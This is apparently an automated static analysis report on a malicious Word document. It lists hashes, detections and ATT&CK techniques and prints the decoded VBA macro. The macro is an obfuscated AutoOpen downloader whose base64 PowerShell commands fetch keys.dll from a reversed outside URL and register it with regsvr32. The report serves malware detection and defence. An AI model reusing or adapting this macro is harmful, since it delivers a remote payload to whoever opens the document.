Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e8ab48b5a9eb771f…

MALICIOUS

Office (OLE)

66.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 6ce586cf93c1805bf248aeb4c49d90d3 SHA-1: 924735eea2e61ac8156c580feaef036611fdb2d1 SHA-256: e8ab48b5a9eb771f4cb00207722f97dd15e5a1cd43baf5899b969ada37b67bf9
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes CreateObject to execute a PowerShell command that downloads a file named 'keys.dll' to the user's profile directory. The presence of the AutoOpen macro and the CreateObject call strongly indicate an attempt to execute a malicious payload upon opening the document, likely delivered via spearphishing.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-7639395-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7639395-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2579 bytes
SHA-256: cca04e78cfa59324358a946324910e77f624991d49f033b1cd3b4245a1278177
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function LZF_B99C9821DD1B4C9A28235C4CAEA1D4360CD62E1D(data, encoder)
    With CreateObject("Msxml2.DOMDocument").CreateElement("tmp")
        .dataType = encoder
        .Text = data
        LZF_B99C9821DD1B4C9A28235C4CAEA1D4360CD62E1D = .nodeTypedValue
    End With
End Function

Function LZF_6119911AEB69582DF95E21C2FB2B082B70EFD282(LZF_36F488D0E2755A30C5602CC892A22C750C39CBA3, LZF_288B2B692D0E5F71EF555026DC911AD91F50FD36, LZF_42FE7487EA379D345B1C85691779E8B9517F4389)
 LZF_6119911AEB69582DF95E21C2FB2B082B70EFD282 = Replace(LZF_36F488D0E2755A30C5602CC892A22C750C39CBA3, LZF_288B2B692D0E5F71EF555026DC911AD91F50FD36, LZF_42FE7487EA379D345B1C85691779E8B9517F4389)
End Function

Sub AutoOpen()


LZF_B5AC90FBDD1355438A65EDD2FABE14E9FCCA10EA = LZF_B99C9821DD1B4C9A28235C4CAEA1D4360CD62E1D("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwAlAFUAVQBVAFUAJQAiACAALQBPAHUAdABGAGkAbABlACAAJABFAE4AVgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQBcAGsAZQB5AHMALgBkAGwAbAAiAA==", "bin.base64")
'Down, down, down.  Would the fall NEVER come to an end!  `I
'wonder how many miles I've fallen by this time?' she said aloud.
'`I must be getting somewhere near the centre of the earth.  Let
'me see:  that would be four thousand miles down, I think--' (for,
'you see, Alice had learnt several things of this sort in her
'lessons in the schoolroom, and though this was not a VERY good
'opportunity for showing off her knowledge, as there was no one to
'listen to her, still it was good practice to say it over) `--yes,
'that 's about the right distance--but then I wonder what Latitude
'or Longitude I've got to?'  (Alice had no idea what Latitude was,
'or Longitude either, but thought they were nice grand words to
'say.)

k = "AUwBsAGUAZQBwACAALQBzACAANQAwAAoAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgACQAZQBuAHYAOgBVAHMAZQByAHAAcgBvAGYAaQBsAGUAXABrAGUAeQBzAC4AZABsAGwAIgA="
VBA.Shell@ LZF_6119911AEB69582DF95E21C2FB2B082B70EFD282(LZF_B5AC90FBDD1355438A65EDD2FABE14E9FCCA10EA, "%U" & "UUU%", StrReverse("bac.7leyz=l?php.ryrntb/fkydaj/moc.47ifmp"))
VBA.Shell% LZF_B99C9821DD1B4C9A28235C4CAEA1D4360CD62E1D("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIAUwB0AGEAcgB0AC0" + k, "bin.base64"), 0

End Sub